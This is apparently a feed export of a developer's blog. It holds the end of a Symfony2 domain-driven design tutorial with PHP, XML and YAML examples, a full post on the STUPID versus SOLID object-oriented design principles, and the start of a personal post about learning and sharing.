<span class="k">return</span> <span class="nv">$this</span><span class="o">-></span><span class="n">users</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">public</span> <span class="k">function</span> <span class="n">add</span><span class="p">(</span><span class="kt">User</span> <span class="nv">$user</span><span class="p">)</span>
<span class="p">{</span>
<span class="p">}</span>
<span class="k">public</span> <span class="k">function</span> <span class="n">remove</span><span class="p">(</span><span class="kt">User</span> <span class="nv">$user</span><span class="p">)</span>
<span class="p">{</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Here is what you should get by running <code class="language-plaintext highlighter-rouge">tree src/</code>:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>src
āāā Acme
āāā CoreDomain
ā āāā User
ā āāā User.php
ā āāā UserId.php
ā āāā UserRepository.php
āāā CoreDomainBundle
āāā Repository
āĀ Ā āāā InMemoryUserRepository.php
āāā AcmeCoreDomainBundle.php
</code></pre></div></div>
<p>The <code class="language-plaintext highlighter-rouge">InMemoryUserRepository</code> class is part of what people call the
<strong>Infrastructure Layer</strong> in <strong>DDD</strong>, and is located into the <code class="language-plaintext highlighter-rouge">CoreDomainBundle</code>
bundle because it is specific to the application. The <strong>Infrastructure Layer</strong>
contains technical services, persistence, and more generally, concrete
implementations of the <strong>Domain Layer</strong>.</p>
<p>Register a new service named <code class="language-plaintext highlighter-rouge">user_repository</code> so that the <strong>Application Layer</strong>
is able to access the <code class="language-plaintext highlighter-rouge">UserRepository</code> repository. The
<strong>Application Layer</strong> can be seen as the <strong>Controller Layer</strong> in a
<a href="http://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller">Model-View-Controller</a>
architecture. The <strong>Application Layer</strong> is in charge of <strong>coordinating the
actions to be performed on the domain</strong>, and delegates all domain actions to the
domain itself. This layer is kept thin. It <strong>does not contain business rules</strong>
or knowledge. It <strong>does not have state reflecting the business situation</strong>, but
it <strong>can have state that reflects the progress of a task</strong> for the user or the
program.</p>
<p>By the way, you will need to <a href="http://symfony.com/doc/current/cookbook/bundles/extension.html#loading-external-configuration-resources">write an <code class="language-plaintext highlighter-rouge">Extension</code> class in order to load bundleās service
configuration</a>
but I wonāt cover that part.</p>
<p>The <code class="language-plaintext highlighter-rouge">user_repository</code> service acts as an <strong>interface</strong>. It is an
<a href="http://symfony.com/doc/current/components/dependency_injection/advanced.html#aliasing">alias</a>
that points to a <strong>concrete implementation</strong> which is a <strong>non-public</strong> service:</p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"><!-- src/Acme/CoreDomainBundle/Resources/config/repositories.xml --></span>
<span class="cp"><?xml version="1.0" ?></span>
<span class="nt"><container</span> <span class="na">xmlns=</span><span class="s">"http://symfony.com/schema/dic/services"</span>
<span class="na">xmlns:xsi=</span><span class="s">"http://www.w3.org/2001/XMLSchema-instance"</span>
<span class="na">xsi:schemaLocation=</span><span class="s">"http://symfony.com/schema/dic/services http://symfony.com/schema/dic/services/services-1.0.xsd"</span><span class="nt">></span>
<span class="nt"><parameters></span>
<span class="nt"><parameter</span> <span class="na">key=</span><span class="s">"user_repository.in_memory.class"</span><span class="nt">></span>Acme\CoreDomainBundle\Repository\InMemoryUserRepository<span class="nt"></parameter></span>
<span class="nt"></parameters></span>
<span class="nt"><services></span>
<span class="c"><!-- Exposed Services --></span>
<span class="nt"><service</span> <span class="na">id=</span><span class="s">"user_repository"</span> <span class="na">alias=</span><span class="s">"user_repository.in_memory"</span><span class="nt">></service></span>
<span class="c"><!-- Concrete Implementations --></span>
<span class="nt"><service</span> <span class="na">id=</span><span class="s">"user_repository.in_memory"</span> <span class="na">public=</span><span class="s">"false"</span> <span class="na">class=</span><span class="s">"%user_repository.in_memory.class%"</span><span class="nt">></service></span>
<span class="nt"></services></span>
<span class="nt"></container></span>
</code></pre></div></div>
<p>Later when you will choose your persistence layer, you will just have to change
the alias to another concrete implementation like <code class="language-plaintext highlighter-rouge">user_repository.doctrine</code> for
instance, but you wonāt have to change your <strong>Application Layer</strong> code.</p>
<h2 id="the-application-layer">The Application Layer</h2>
<p>What you have to build is a REST API. The code will live in a bundle named
<code class="language-plaintext highlighter-rouge">ApiBundle</code>:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>src
āāā Acme
āāā ApiBundle
āĀ Ā āāā Controller
āĀ Ā āĀ Ā āāā UserController.php
āĀ Ā āāā Resources
āĀ Ā āĀ Ā āāā config
āĀ Ā āĀ Ā Ā Ā āāā routing.yml
āĀ Ā āāā AcmeApiBundle.php
āāā CoreDomain
ā āāā User
ā āāā User.php
ā āāā UserId.php
ā āāā UserRepository.php
āāā CoreDomainBundle
āāā DependencyInjection
āĀ Ā āāā AcmeCoreDomainExtension.php
āāā Repository
āĀ Ā āāā InMemoryUserRepository.php
āāā AcmeCoreDomainBundle.php
</code></pre></div></div>
<p>You will need the following dependencies in your <code class="language-plaintext highlighter-rouge">composer.json</code> file:</p>
<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nl">"require"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
</span><span class="err">...</span><span class="w">
</span><span class="nl">"friendsofsymfony/rest-bundle"</span><span class="p">:</span><span class="w"> </span><span class="s2">"0.13.*@dev"</span><span class="p">,</span><span class="w">
</span><span class="nl">"jms/serializer-bundle"</span><span class="p">:</span><span class="w"> </span><span class="s2">"0.12.*@dev"</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>
<p>Donāt forget to register the bundles in the <code class="language-plaintext highlighter-rouge">AppKernel</code> class.</p>
<p>For now, you will implement only one action to retrieve all users into your
<code class="language-plaintext highlighter-rouge">UserController</code> class:</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp"><?php</span>
<span class="kn">namespace</span> <span class="nn">Acme\ApiBundle\Controller</span><span class="p">;</span>
<span class="kn">use</span> <span class="nc">FOS\RestBundle\Controller\Annotations</span> <span class="k">as</span> <span class="nc">Rest</span><span class="p">;</span>
<span class="kn">use</span> <span class="nc">Symfony\Bundle\FrameworkBundle\Controller\Controller</span><span class="p">;</span>
<span class="kd">class</span> <span class="nc">UserController</span> <span class="kd">extends</span> <span class="nc">Controller</span>
<span class="p">{</span>
<span class="cd">/**
* @Rest\View
*/</span>
<span class="k">public</span> <span class="k">function</span> <span class="n">allAction</span><span class="p">()</span>
<span class="p">{</span>
<span class="nv">$users</span> <span class="o">=</span> <span class="nv">$this</span><span class="o">-></span><span class="nf">get</span><span class="p">(</span><span class="s1">'user_repository'</span><span class="p">)</span><span class="o">-></span><span class="nf">findAll</span><span class="p">();</span>
<span class="k">return</span> <span class="k">array</span><span class="p">(</span><span class="s1">'users'</span> <span class="o">=></span> <span class="nv">$users</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>There is no black magic here, things wonāt work out of the box. Letās take a
look at the configuration. First, you need to add a new route to your routing
definition:</p>
<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># src/Acme/ApiBundle/Resources/config/routing.yml</span>
<span class="na">acme_api.user_all</span><span class="pi">:</span>
<span class="na">pattern</span><span class="pi">:</span> <span class="s">/users.{_format}</span>
<span class="na">defaults</span><span class="pi">:</span> <span class="pi">{</span> <span class="nv">_controller</span><span class="pi">:</span> <span class="nv">AcmeApiBundle</span><span class="pi">:</span><span class="nv">User</span><span class="pi">:</span><span class="nv">all</span><span class="pi">,</span> <span class="nv">_format</span><span class="pi">:</span> <span class="nv">~</span> <span class="pi">}</span>
<span class="na">requirements</span><span class="pi">:</span>
<span class="na">_method</span><span class="pi">:</span> <span class="s">GET</span>
</code></pre></div></div>
<p>You also need to configure both
<a href="https://github.com/friendsofsymfony/FOSRestBundle">FOSRestBundle</a> and
<a href="https://github.com/sensiolabs/SensioFrameworkExtraBundle">SensioFrameworkExtraBundle</a>:</p>
<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># app/config/config.yml</span>
<span class="na">fos_rest</span><span class="pi">:</span>
<span class="na">view</span><span class="pi">:</span>
<span class="na">view_response_listener</span><span class="pi">:</span> <span class="s">force</span>
<span class="na">format_listener</span><span class="pi">:</span>
<span class="na">default_priorities</span><span class="pi">:</span> <span class="pi">[</span><span class="s2">"</span><span class="s">json"</span><span class="pi">,</span> <span class="s2">"</span><span class="s">html"</span><span class="pi">,</span> <span class="s2">"</span><span class="s">*/*"</span><span class="pi">]</span>
<span class="na">fallback_format</span><span class="pi">:</span> <span class="s">json</span>
<span class="na">prefer_extension</span><span class="pi">:</span> <span class="no">true</span>
<span class="na">sensio_framework_extra</span><span class="pi">:</span>
<span class="na">view</span><span class="pi">:</span> <span class="pi">{</span> <span class="nv">annotations</span><span class="pi">:</span> <span class="nv">false</span> <span class="pi">}</span>
</code></pre></div></div>
<p>At this time, you should be able to access <code class="language-plaintext highlighter-rouge">http://yourproject.local/users</code>, but
it should throw an exception saying the Twig template named
<code class="language-plaintext highlighter-rouge">AcmeApiBundle:User:all.html.twig</code> does not exist.
However, if you browse <code class="language-plaintext highlighter-rouge">http://yourproject.local/users.json</code>, you should get JSON
content containing your users.</p>
<p>Thing is, it is not well serialized. That is because you didnāt configure
<a href="https://github.com/schmittjoh/JMSSerializerBundle">JMSSerializerBundle</a> yet.
First of all, you need to tell the
<a href="https://github.com/schmittjoh/serializer">Serializer</a> where to find
configuration files:</p>
<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># app/config/config.yml</span>
<span class="na">jms_serializer</span><span class="pi">:</span>
<span class="na">metadata</span><span class="pi">:</span>
<span class="na">directories</span><span class="pi">:</span>
<span class="na">CoreDomain</span><span class="pi">:</span>
<span class="na">namespace_prefix</span><span class="pi">:</span> <span class="s2">"</span><span class="s">Acme</span><span class="se">\\</span><span class="s">CoreDomain"</span>
<span class="na">path</span><span class="pi">:</span> <span class="s2">"</span><span class="s">@AcmeApiBundle/Resources/config/serializer/"</span>
</code></pre></div></div>
<p>The <code class="language-plaintext highlighter-rouge">ApiBundle</code> owns the serializer configuration, it is one of its
responsibilities. As you can see, I <strong>use a YAML configuration file</strong>, not
annotations, because I donāt want to pollute the agnostic <strong>Domain Layer</strong>.</p>
<p>Here is the configuration file for the <code class="language-plaintext highlighter-rouge">User</code> entity:</p>
<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># src/Acme/ApiBundle/Resources/config/serializer/User.User.yml</span>
<span class="na">Acme\CoreDomain\User\User</span><span class="pi">:</span>
<span class="na">exclusion_policy</span><span class="pi">:</span> <span class="s">ALL</span>
<span class="na">properties</span><span class="pi">:</span>
<span class="na">id</span><span class="pi">:</span>
<span class="na">expose</span><span class="pi">:</span> <span class="no">true</span>
<span class="na">inline</span><span class="pi">:</span> <span class="no">true</span>
<span class="na">firstName</span><span class="pi">:</span>
<span class="na">expose</span><span class="pi">:</span> <span class="no">true</span>
<span class="na">serialized_name</span><span class="pi">:</span> <span class="s">first_name</span>
<span class="na">lastName</span><span class="pi">:</span>
<span class="na">expose</span><span class="pi">:</span> <span class="no">true</span>
<span class="na">serialized_name</span><span class="pi">:</span> <span class="s">last_name</span>
</code></pre></div></div>
<p>And here is the configuration file for the <code class="language-plaintext highlighter-rouge">UserId</code> value object:</p>
<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># src/Acme/ApiBundle/Resources/config/serializer/User.UserId.yml</span>
<span class="na">Acme\CoreDomain\User\UserId</span><span class="pi">:</span>
<span class="na">exclusion_policy</span><span class="pi">:</span> <span class="s">ALL</span>
<span class="na">properties</span><span class="pi">:</span>
<span class="na">value</span><span class="pi">:</span>
<span class="na">expose</span><span class="pi">:</span> <span class="no">true</span>
<span class="na">serialized_name</span><span class="pi">:</span> <span class="s">id</span>
</code></pre></div></div>
<p>That should give you the following JSON content:</p>
<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
</span><span class="nl">"users"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
</span><span class="p">{</span><span class="w">
</span><span class="nl">"id"</span><span class="p">:</span><span class="w"> </span><span class="s2">"8CE05088-ED1F-43E9-A415-3B3792655A9B"</span><span class="p">,</span><span class="w">
</span><span class="nl">"first_name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"John"</span><span class="p">,</span><span class="w">
</span><span class="nl">"last_name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Doe"</span><span class="w">
</span><span class="p">},</span><span class="w">
</span><span class="p">{</span><span class="w">
</span><span class="nl">"id"</span><span class="p">:</span><span class="w"> </span><span class="s2">"62A0CEB4-0403-4AA6-A6CD-1EE808AD4D23"</span><span class="p">,</span><span class="w">
</span><span class="nl">"first_name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Jean"</span><span class="p">,</span><span class="w">
</span><span class="nl">"last_name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Bon"</span><span class="w">
</span><span class="p">}</span><span class="w">
</span><span class="p">]</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>
<p>Running <code class="language-plaintext highlighter-rouge">tree src/</code> on the command line should give you the following output:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>src
āāā Acme
āāā ApiBundle
āĀ Ā āāā Controller
āĀ Ā āĀ Ā āāā UserController.php
āĀ Ā āāā Resources
āĀ Ā āĀ Ā āāā config
āĀ Ā āĀ Ā āĀ Ā āāā routing.yml
ā ā ā āāā serializer
ā āĀ Ā ā Ā Ā āāā User.User.yml
ā āĀ Ā ā Ā āāā User.UserId.yml
āĀ Ā āĀ Ā āāā views
āĀ Ā āĀ Ā āāā User
āĀ Ā āĀ Ā āāā all.html.twig
āĀ Ā āāā AcmeApiBundle.php
āāā CoreDomain
ā āāā User
ā āāā User.php
ā āāā UserId.php
ā āāā UserRepository.php
āāā CoreDomainBundle
āāā DependencyInjection
āĀ Ā āāā AcmeCoreDomainExtension.php
āāā Repository
āĀ Ā āāā InMemoryUserRepository.php
āāā Resources
āĀ Ā āāā config
ā āāā repositories.xml
āāā AcmeCoreDomainBundle.php
</code></pre></div></div>
<h2 id="conclusion">Conclusion</h2>
<p>Adopting the right <strong>folder structure</strong> in your code is important. You should
always decouple your code as much as possible. By remembering that a bundle
<strong>integrates</strong> a third-party library or just a set of agnostic classes, you end
up with a clean separation between Symfony2 related things, and your business
logic.</p>
<p>Bundles that integrate your <strong>Domain Layer</strong> packages are part of the
<strong>Infrastructure Layer</strong>. Your controllers are part of the <strong>Application
Layer</strong>. The missing layer is the <strong>Presentation Layer</strong> (UI) which talk to
the <strong>Application Layer</strong>. This layer is responsible for displaying information
to the user, and accept new data, but I will cover it in another article.</p>
<p class="with-caption"><img src="/images/posts/ddd.png" alt="" />
<em>Source: <a href="http://guptavikas.wordpress.com/2009/12/01/domain-driven-design-an-introduction/">http://guptavikas.wordpress.com/2009/12/01/domain-driven-design-an-introduction/</a></em></p>
<p>By using the <strong>Code First</strong> approach, you have been able to write a first
action that just works. You wonāt have to change it. However, you will be able
to rely on a database or whatever you want later on. It will be up to you.</p>
<p>In the next blog post, I will <strike>introduce the **Presentation Layer**, new Value
Objects such as the `Name` one, and more on **DDD**!</strike> <a href="/2013/08/20/ddd-with-symfony2-making-things-clear/">cover a few points that
have been misunderstood</a>.</p>
From STUPID to SOLID Code!2013-07-30T00:00:00+00:00https://williamdurand.fr/2013/07/30/from-stupid-to-solid-code<p>Last week I gave a talk about <a href="https://en.wikipedia.org/wiki/Object-oriented_programming">Object-Oriented
Programming</a> at
Michelin, the company I am working for. I talked about writing better code,
<a href="http://slides.williamdurand.fr/from-stupid-to-solid-code/">from STUPID to SOLID
code!</a>
<strong>STUPID</strong> as well as
<a href="http://en.wikipedia.org/wiki/SOLID_(object-oriented_design)"><strong>SOLID</strong></a> are
two acronyms, and have been
<a href="http://blog.ircmaxell.com/2012/05/dont-be-stupid-grasp-solid-slides.html">covered</a>
<a href="http://nikic.github.io/2011/12/27/Dont-be-STUPID-GRASP-SOLID.html">quite</a> a
<a href="http://lostechies.com/chadmyers/2008/03/08/pablo-s-topic-of-the-month-march-solid-principles/">lot</a>
for a long time. However, these mnemonics are not always well-known, so it is
worth spreading the word.</p>
<p>In the following, I will introduce both <strong>STUPID</strong> and <strong>SOLID</strong> principles. Keep
in mind that these are <strong>principles</strong>, <strong>not laws</strong>. However, considering them as
laws would be good for those who want to improve themselves.</p>
<h2 id="stupid-code-seriously">STUPID code, seriously?</h2>
<p>This may hurt your feelings, but you have probably written STUPID code already. I have too. But, what does that mean?</p>
<ul>
<li><a href="#singleton"><strong>S</strong>ingleton</a></li>
<li><a href="#tight-coupling"><strong>T</strong>ight Coupling</a></li>
<li><a href="#untestability"><strong>U</strong>ntestability</a></li>
<li><a href="#premature-optimization"><strong>P</strong>remature Optimization</a></li>
<li><a href="#indescriptive-naming"><strong>I</strong>ndescriptive Naming</a></li>
<li><a href="#duplication"><strong>D</strong>uplication</a></li>
</ul>
<p>In the following, I will explain the individual points with more details. This
is more or less the transcript of my talk.</p>
<h3 id="singleton">Singleton</h3>
<p>The <a href="http://en.wikipedia.org/wiki/Singleton_pattern">Singleton pattern</a> is
probably the most well-known design pattern, but also the most misunderstood
one. Are you aware of the <em>Singleton syndrome</em>? It is when you think the
Singleton pattern is the most appropriate pattern for the current use case you
have. In other words, you use it everywhere. That is definitely <strong>not</strong> cool.</p>
<p><a href="https://code.google.com/p/google-singleton-detector/wiki/WhySingletonsAreControversial">Singletons are
controversial</a>,
and they are often <a href="http://stackoverflow.com/questions/11292109/why-is-singleton-considered-an-anti-pattern-in-java-world-sometimes">considered
anti-patterns</a>.
You should <a href="http://programmers.stackexchange.com/questions/40373/so-singletons-are-bad-then-what">avoid
them</a>.
Actually, the use of a <a href="http://programmers.stackexchange.com/questions/40373/so-singletons-are-bad-then-what/40376#40376">singleton is not the problem, but the symptom of
a problem</a>.
Here are two reasons why:</p>
<ul>
<li>Programs using global state are very difficult to test;</li>
<li>Programs that rely on global state hide their dependencies.</li>
</ul>
<p>But should you really avoid them all the time? I would say <em>yes</em> because you can
often replace the use of a singleton by something better. Avoiding static things
is important to avoid something called <strong>tight coupling</strong>.</p>
<h3 id="tight-coupling">Tight Coupling</h3>
<p><strong>Tight coupling</strong>, also known as <strong>strong coupling</strong>, is a generalization of
the Singleton issue. Basically, you should <a href="http://martinfowler.com/ieeeSoftware/coupling.pdf">reduce
coupling</a> between your
modules. <strong>Coupling</strong> is <a href="http://en.wikipedia.org/wiki/Coupling_(computer_programming)">the degree to which each program module relies on
each one of the other modules</a>.</p>
<p>If making a change in one module in your application requires you to change another module,
then coupling exists. For instance, you instantiate objects in your
constructorās class instead of passing instances as arguments. That is bad because
it <strong>doesnāt allow further changes</strong> such as replacing the instance by an instance
of a sub-class, a <em>mock</em> or whatever.</p>
<p>Tightly coupled modules are <strong>difficult to reuse</strong>, and also <strong>hard to test</strong>.</p>
<h3 id="untestability">Untestability</h3>
<p>In my opinion, <strong>testing should not be hard!</strong> No, really. Whenever you donāt
write unit tests because you donāt have time, the real issue is that your code
is bad, but that is another story.</p>
<p>Most of the time, <strong>untestability</strong> is caused by <strong>tight coupling</strong>.</p>
<h3 id="premature-optimization">Premature Optimization</h3>
<p>Donald Knuth said: ā<em>premature optimization is the root of all evil</em>. There is
<strong>only cost</strong>, and <strong>no benefit</strong>ā. Actually, optimized systems are much more
complex than just rewriting a loop or using <a href="http://stackoverflow.com/questions/24886/is-there-a-performance-difference-between-i-and-i-in-c">pre-increment instead of
post-increment</a>.
You will just end up with unreadable code. That is why <a href="http://www.c2.com/cgi/wiki?PrematureOptimization">Premature Optimization
is often considered an anti-pattern</a>.</p>
<p>A friend of mine often says that there are two rules to optimize an
application:</p>
<ul>
<li>donāt do it;</li>
<li>(for experts only!) donāt do it yet.</li>
</ul>
<h3 id="indescriptive-naming">Indescriptive Naming</h3>
<p>This should be obvious, but still needs to be said: <strong>name</strong> your classes, methods,
attributes, and variables <strong>properly</strong>. Oh, and <a href="/2013/06/03/object-calisthenics/#6-dont-abbreviate">donāt
abbreviate</a>! You write code
for people, not for computers. They donāt understand what you write anyway.
Computers just understand <code class="language-plaintext highlighter-rouge">0</code> and <code class="language-plaintext highlighter-rouge">1</code>. <strong>Programming languages are for humans</strong>.</p>
<h3 id="duplication">Duplication</h3>
<p><a href="http://c2.com/cgi/wiki?DuplicatedCode">Duplicated code</a> is bad, so please <a href="http://lostechies.com/patricklioi/2013/07/30/no-seriously-dont-repeat-yourself/">Donāt
Repeat Yourself</a>
(<a href="http://en.wikipedia.org/wiki/Don't_repeat_yourself">DRY</a>),
and also <a href="http://en.wikipedia.org/wiki/KISS_principle">Keep It Simple, Stupid</a>.
Be lazy the right way - write code only once!</p>
<p>Now that I have explained what STUPID code is, you may think that your code
is STUPID. It does not matter (yet). Donāt feel bad, keep calm and be awesome
by writing SOLID code instead!</p>
<h2 id="solid-to-the-rescue">SOLID to the rescue!</h2>
<p>SOLID is a term describing a <strong>collection of design principles</strong> for good code
that was invented by Robert C. Martin, also known as <em>Uncle Bob</em>.</p>
<p>SOLID means:</p>
<ul>
<li><a href="#single-responsibility-principle"><strong>S</strong>ingle Responsibility Principle</a></li>
<li><a href="#openclosed-principle"><strong>O</strong>pen/Closed Principle</a></li>
<li><a href="#liskov-substitution-principle"><strong>L</strong>iskov Substitution Principle</a></li>
<li><a href="#interface-segregation-principle"><strong>I</strong>nterface Segregation Principle</a></li>
<li><a href="#dependency-inversion-principle"><strong>D</strong>ependency Inversion Principle</a></li>
</ul>
<h3 id="single-responsibility-principle">Single Responsibility Principle</h3>
<p>Single Responsibility Principle or
<a href="http://en.wikipedia.org/wiki/Single_responsibility_principle">SRP</a> states that
<strong>every class should have a single responsibility</strong>. There should <strong>never be
more than one reason for a class to change</strong>.</p>
<p>Just because you can add everything you want into your class doesnāt mean that you
should. Thinking in terms of responsibilities will help you design your
application better. Ask yourself whether the logic you are introducing should live in
this class or not. Using <strong>layers</strong> in your application helps a lot. Split big
classes in smaller ones, and avoid <a href="http://c2.com/cgi/wiki?GodClass">god
classes</a>.
Last but not least, <strong>write straightforward comments</strong>. If you start writing
comments such as <code class="language-plaintext highlighter-rouge">in this case</code>, <code class="language-plaintext highlighter-rouge">but if</code>, <code class="language-plaintext highlighter-rouge">except when</code>, <code class="language-plaintext highlighter-rouge">or</code>, then you are
doing it wrong.</p>
<h3 id="openclosed-principle">Open/Closed Principle</h3>
<p>Open/Closed Principle or
<a href="http://en.wikipedia.org/wiki/Open/closed_principle">OCP</a> states that software
entities should be <strong>open for extension</strong>, but <strong>closed for modification</strong>.</p>
<p>You should make all member variables <strong>private</strong> by default. Write getters and setters only
when you need them. Iāve already covered this point in a previous
article, as <a href="/2013/06/03/object-calisthenics/#9-no-getters/setters/properties">the ninth rule of the Object
Calisthenics</a>
is related to this principle.</p>
<h3 id="liskov-substitution-principle">Liskov Substitution Principle</h3>
<p>Liskov Substitution Principle or
<a href="http://c2.com/cgi/wiki?LiskovSubstitutionPrinciple">LSP</a> states that objects in
a program should be <strong>replaceable with instances of their subtypes without
altering the correctness</strong> of the program.</p>
<p>Letās take an example. A rectangle is a plane figure with four right angles. It
has a <code class="language-plaintext highlighter-rouge">width</code>, and a <code class="language-plaintext highlighter-rouge">height</code>. Now, take a look at the following pseudo-code:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>rect = new Rectangle();
rect.width = 10;
rect.height = 20;
assert 10 == rect.width
assert 20 == rect.height
</code></pre></div></div>
<p>We simply set a <code class="language-plaintext highlighter-rouge">width</code> and a <code class="language-plaintext highlighter-rouge">height</code> on a <code class="language-plaintext highlighter-rouge">Rectangle</code> instance, and then
we assert that both properties are correct. So far, so good.</p>
<p>Now we can improve our definition by saying that a rectangle with four sides of
equal length is called a square. A square <strong>is a</strong> rectangle so we can create a
<code class="language-plaintext highlighter-rouge">Square</code> class that extends the <code class="language-plaintext highlighter-rouge">Rectangle</code> one, and replace the first line above
by the one below:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>rect = new Square();
</code></pre></div></div>
<p>According to the definition of a square, its width is equal to its height. Can
you spot the problem? The first assertion will fail because we had to change the
behavior of the setters in the <code class="language-plaintext highlighter-rouge">Square</code> class to fit the definition. This is a
violation of the Liskov Substitution Principle.</p>
<h3 id="interface-segregation-principle">Interface Segregation Principle</h3>
<p>Interface Segregation Principle or
<a href="http://en.wikipedia.org/wiki/Interface_segregation_principle">ISP</a> states that
<strong>many</strong> client-specific <strong>interfaces are better than one</strong> general-purpose
interface. In other words, you should not have to implement methods that you
donāt use. Enforcing ISP gives you <strong>low coupling</strong>, and <strong>high cohesion</strong>.</p>
<p>When talking about <strong>coupling</strong>,
<a href="http://en.wikipedia.org/wiki/Cohesion_(computer_science)">cohesion</a> is often
mentioned as well. <strong>High cohesion</strong> means to keep similar and related things
together. The <strong>union</strong> of cohesion and coupling is <a href="http://www.jasoncoffin.com/cohesion-and-coupling-principles-of-orthogonal-object-oriented-programming/">orthogonal
design</a>.
The idea is to <strong>keep your components focused</strong> and try to <strong>minimize the
dependencies between them</strong>.</p>
<p>Note that this is similar to the <a href="#single-responsibility-principle">Single Responsibility
Principle</a>. An interface is a contract that
meets a need. It is ok to have a class that implements different interfaces, but be careful, donāt violate SRP.</p>
<h3 id="dependency-inversion-principle">Dependency Inversion Principle</h3>
<p>Dependency Inversion Principle or
<a href="http://www.c2.com/cgi/wiki?DependencyInversionPrinciple">DIP</a> has two key
points:</p>
<ul>
<li><strong>Abstractions should not depend upon details</strong>;</li>
<li><strong>Details should depend upon abstractions</strong>.</li>
</ul>
<p>This principle could be rephrased as <strong>use the same level of abstraction at a
given level</strong>. Interfaces should depend on other interfaces. Donāt add concrete
classes to method signatures of an interface. However, use interfaces in your
class methods.</p>
<p>Note that <a href="http://lostechies.com/derickbailey/2011/09/22/dependency-injection-is-not-the-same-as-the-dependency-inversion-principle/">Dependency Inversion Principle is not the same as Dependency
Injection</a>.
<strong>Dependency Injection</strong> is about how one object knows about another dependent
object. In other words, it is about <a href="http://martinfowler.com/articles/dipInTheWild.html">how one object acquires a
dependency</a>. On the other
hand, DIP is about the level of abstraction. Also, a <a href="http://www.martinfowler.com/articles/injection.html">Dependency Injection
Container</a> is a way to
auto-wire classes together. That does not mean you do Dependency Injection
though. Look at the <a href="http://en.wikipedia.org/wiki/Service_locator_pattern">Service
Locator</a> for example.</p>
<p>Also, rather than working with classes that are tight coupled, use interfaces.
This is called <a href="http://www.fatagnus.com/program-to-an-interface-not-an-implementation/">programming to the
interface</a>.
This <strong>reduces dependency</strong> on implementation specifics and makes code <strong>more
reusable</strong>. It also ensures that you can replace the implementation without
violating the expectations of that interface, according to the Liskov
Substitution Principle seen before.</p>
<h2 id="conclusion">Conclusion</h2>
<p>As you probably noticed, <strong>avoiding tight coupling is the key</strong>. It is present
in a lot of code, and if you start by focusing on <em>fixing</em> this alone, you will immediately start writing better code.</p>
<p>If I may leave you with only one piece of advice, that would be to <strong>use your brain</strong>. There
are a lot of principles in software engineering. Even if you donāt understand all these
principles, always think before writing code. Take the time to understand those that you donāt understand.</p>
<p>Honestly, writing SOLID code is not that hard.</p>
<h2 id="slides">Slides</h2>
<script async="" class="speakerdeck-embed" data-id="e04c5ae0d74d013022821e9ac6d7834e" data-ratio="1.29456384323641" src="//speakerdeck.com/assets/embed.js"></script>
<h2 id="tldr">TL;DR</h2>
<p><strong>STUPID</strong> is an acronym that describes bad practices in Oriented Object
Programming:</p>
<ul>
<li><a href="#singleton"><strong>S</strong>ingleton</a></li>
<li><a href="#tight-coupling"><strong>T</strong>ight Coupling</a></li>
<li><a href="#untestability"><strong>U</strong>ntestability</a></li>
<li><a href="#premature-optimization"><strong>P</strong>remature Optimization</a></li>
<li><a href="#indescriptive-naming"><strong>I</strong>ndescriptive Naming</a></li>
<li><a href="#duplication"><strong>D</strong>uplication</a></li>
</ul>
<p><strong>SOLID</strong> is an acronym that stands for <strong>five basic principles</strong> of
Object-Oriented Programming and design to <em>fix</em> STUPID code:</p>
<ul>
<li><a href="#single-responsibility-principle"><strong>S</strong>ingle Responsibility Principle</a></li>
<li><a href="#open/closed-principle"><strong>O</strong>pen/Closed Principle</a></li>
<li><a href="#liskov-substitution-principle"><strong>L</strong>iskov Substitution Principle</a></li>
<li><a href="#interface-segregation-principle"><strong>I</strong>nterface Segregation Principle</a></li>
<li><a href="#dependency-inversion-principle"><strong>D</strong>ependency Inversion Principle</a></li>
</ul>
<p>Rule of thumb: <strong>use your brain</strong>!</p>
I am a sponge2013-07-19T00:00:00+00:00https://williamdurand.fr/2013/07/19/i-am-a-sponge<p><em>According to my PhD advisor, I am a sponge. What does that mean, though? This
is the purpose of todayās article.</em></p>
<p>I am going to introduce a sort of <em>Sponge Theory</em>. This is obviously not about
<a href="https://en.wikipedia.org/wiki/SpongeBob_SquarePants">SpongeBob</a>. This informal theory is actually focused on two core principles:
<strong>learning</strong> and <strong>sharing</strong>, and the order matters.</p>
<h2 id="learning">Learning</h2>
<p>One of the main goals of a sponge (the material) is to <strong>sponge an impervious
surface</strong> in order to clean it. A sponge is <a href="https://en.wikipedia.org/wiki/Sponge_(material)">especially good at absorbing water
and water-based solutions</a>. In
other words, a sponge is able to <em>store</em> a large amount of liquid into it.</p>
<p>Obviously, as a human, being a sponge means that you are able to <strong>absorb a lot
of information</strong>. You are interested in various topics (and not only technical
ones). You <strong>read</strong> a lot, everything, all the time. You dig into topics that
